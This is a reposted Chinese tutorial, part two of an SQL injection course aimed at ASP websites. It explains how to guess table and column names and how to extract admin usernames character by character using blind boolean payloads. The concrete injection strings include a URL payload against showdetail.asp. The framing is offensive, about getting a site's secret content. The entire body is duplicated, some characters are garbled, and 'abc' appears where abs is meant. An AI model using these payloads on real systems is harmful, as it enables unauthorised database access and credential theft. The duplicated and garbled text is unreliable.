ASP注入漏洞基础教程(二)
生活随笔
收集整理的這篇文章主要介紹了
ASP注入漏洞基础教程(二)
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
進?階?篇?
在入門篇,我們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來,我們就繼續學習如何從數據庫中獲取想要獲得的內容,首先,我們先看看SQL注入的一般步驟:
第一節、SQL注入的一般步驟
首先,判斷環境,尋找注入點,判斷數據庫類型,這在入門篇已經講過了。
其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型饕治旅嬡鄭?BR>
(A)?ID=49?這類注入的參數是數字型,SQL語句原貌大致如下:
Select?*?from?表名?where?字段=49
注入的參數為ID=49?And?[查詢條件],即是生成語句:
Select?*?from?表名?where?字段=49?And?[查詢條件]
(B)?Class=連續劇?這類注入的參數是字符型,SQL語句原貌大致概如下:
Select?*?from?表名?where?字段=’連續劇’?
注入的參數為Class=連續劇’?and?[查詢條件]?and?‘’=’?,即是生成語句:
Select?*?from?表名?where?字段=’連續劇’?and?[查詢條件]?and?‘’=’’
(C)?搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:
Select?*?from?表名?where?字段like?’%關鍵字%’?
注入的參數為keyword=’?and?[查詢條件]?and?‘%25’=’,?即是生成語句:
Select?*?from?表名?where字段like?’%’?and?[查詢條件]?and?‘%’=’%’
接著,將查詢條件替換成SQL語句,猜解表名,例如:
ID=49?And?(Select?Count(*)?from?Admin)>=0
如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。
表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。
有人會說:這里有一些偶然的成分,如果表名起得很復雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因為別人的程序寫得不嚴密或使用者保密意識不夠,才有得下手。
有點跑題了,話說回來,對于SQLServer的庫,還是有辦法讓程序告訴我們表名及字段名的,我們在高級篇中會做介紹。
最后,在表名和列名猜解成功后,再使用SQL語句,得出字段的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。
我們舉個例子,已知表Admin中存在username字段,首先,我們取第一條記錄,測試長度:
http://www.***.com/showdetail.asp?id=49 ?;;and?(select?top?1?len(username)?from?Admin)>0
先說明原理:如果top?1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8
當然沒人會笨得從0,1,2,3一個個測試,怎么樣才比較快就看各自發揮了。在得到username的長度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:
id=49?and?(select?top?1?asc(mid(username,1,1))?from?Admin)>0
同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。
第二節、SQL注入常用函數
有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數及命令。
Access:asc(字符)?SQLServer:unicode(字符)
作用:返回某字符的ASCII碼
Access:chr(數字)?SQLServer:nchar(數字)
作用:與asc相反,根據ASCII碼返回字符
Access:mid(字符串,N,L)?SQLServer:substring(字符串,N,L)
作用:返回字符串從N個字符起長度為L的子字符串,即N到N+L之間的字符串
Access:abc(數字)?SQLServer:abc?(數字)
作用:返回數字的絕對值(在猜解漢字的時候會用到)
Access:A?between?B?And?C?SQLServer:A?between?B?And?C
作用:判斷A是否界于B與C之間
第三節、中文處理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實只要對中文的編碼有所了解,“中文恐懼癥”很快可以克服。
先說一點常識:
Access中,中文的ASCII碼可能會出現負數,取出該負數后用abs()取絕對值,漢字字符不變。
SQLServer中,中文的ASCII為正數,但由于是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode?()返回unicode值,再用nchar函數取得對應的中文字符。
了解了上面的兩點后,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意、猜解范圍大一點外,方法是沒什么兩樣的。
在入門篇,我們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來,我們就繼續學習如何從數據庫中獲取想要獲得的內容,首先,我們先看看SQL注入的一般步驟:
第一節、SQL注入的一般步驟
首先,判斷環境,尋找注入點,判斷數據庫類型,這在入門篇已經講過了。
其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型饕治旅嬡鄭?BR>
(A)?ID=49?這類注入的參數是數字型,SQL語句原貌大致如下:
Select?*?from?表名?where?字段=49
注入的參數為ID=49?And?[查詢條件],即是生成語句:
Select?*?from?表名?where?字段=49?And?[查詢條件]
(B)?Class=連續劇?這類注入的參數是字符型,SQL語句原貌大致概如下:
Select?*?from?表名?where?字段=’連續劇’?
注入的參數為Class=連續劇’?and?[查詢條件]?and?‘’=’?,即是生成語句:
Select?*?from?表名?where?字段=’連續劇’?and?[查詢條件]?and?‘’=’’
(C)?搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:
Select?*?from?表名?where?字段like?’%關鍵字%’?
注入的參數為keyword=’?and?[查詢條件]?and?‘%25’=’,?即是生成語句:
Select?*?from?表名?where字段like?’%’?and?[查詢條件]?and?‘%’=’%’
接著,將查詢條件替換成SQL語句,猜解表名,例如:
ID=49?And?(Select?Count(*)?from?Admin)>=0
如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。
表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。
有人會說:這里有一些偶然的成分,如果表名起得很復雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因為別人的程序寫得不嚴密或使用者保密意識不夠,才有得下手。
有點跑題了,話說回來,對于SQLServer的庫,還是有辦法讓程序告訴我們表名及字段名的,我們在高級篇中會做介紹。
最后,在表名和列名猜解成功后,再使用SQL語句,得出字段的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。
我們舉個例子,已知表Admin中存在username字段,首先,我們取第一條記錄,測試長度:
http://www.***.com/showdetail.asp?id=49 ?;;and?(select?top?1?len(username)?from?Admin)>0
先說明原理:如果top?1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8
當然沒人會笨得從0,1,2,3一個個測試,怎么樣才比較快就看各自發揮了。在得到username的長度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:
id=49?and?(select?top?1?asc(mid(username,1,1))?from?Admin)>0
同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。
第二節、SQL注入常用函數
有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數及命令。
Access:asc(字符)?SQLServer:unicode(字符)
作用:返回某字符的ASCII碼
Access:chr(數字)?SQLServer:nchar(數字)
作用:與asc相反,根據ASCII碼返回字符
Access:mid(字符串,N,L)?SQLServer:substring(字符串,N,L)
作用:返回字符串從N個字符起長度為L的子字符串,即N到N+L之間的字符串
Access:abc(數字)?SQLServer:abc?(數字)
作用:返回數字的絕對值(在猜解漢字的時候會用到)
Access:A?between?B?And?C?SQLServer:A?between?B?And?C
作用:判斷A是否界于B與C之間
第三節、中文處理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實只要對中文的編碼有所了解,“中文恐懼癥”很快可以克服。
先說一點常識:
Access中,中文的ASCII碼可能會出現負數,取出該負數后用abs()取絕對值,漢字字符不變。
SQLServer中,中文的ASCII為正數,但由于是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode?()返回unicode值,再用nchar函數取得對應的中文字符。
了解了上面的兩點后,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意、猜解范圍大一點外,方法是沒什么兩樣的。
轉載于:https://www.cnblogs.com/dqg/archive/2005/07/29/202653.html
總結
以上是生活随笔為你收集整理的ASP注入漏洞基础教程(二)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ASP技巧:在Access数据库中重命名
- 下一篇: html调用父页面的函数,js调用父框架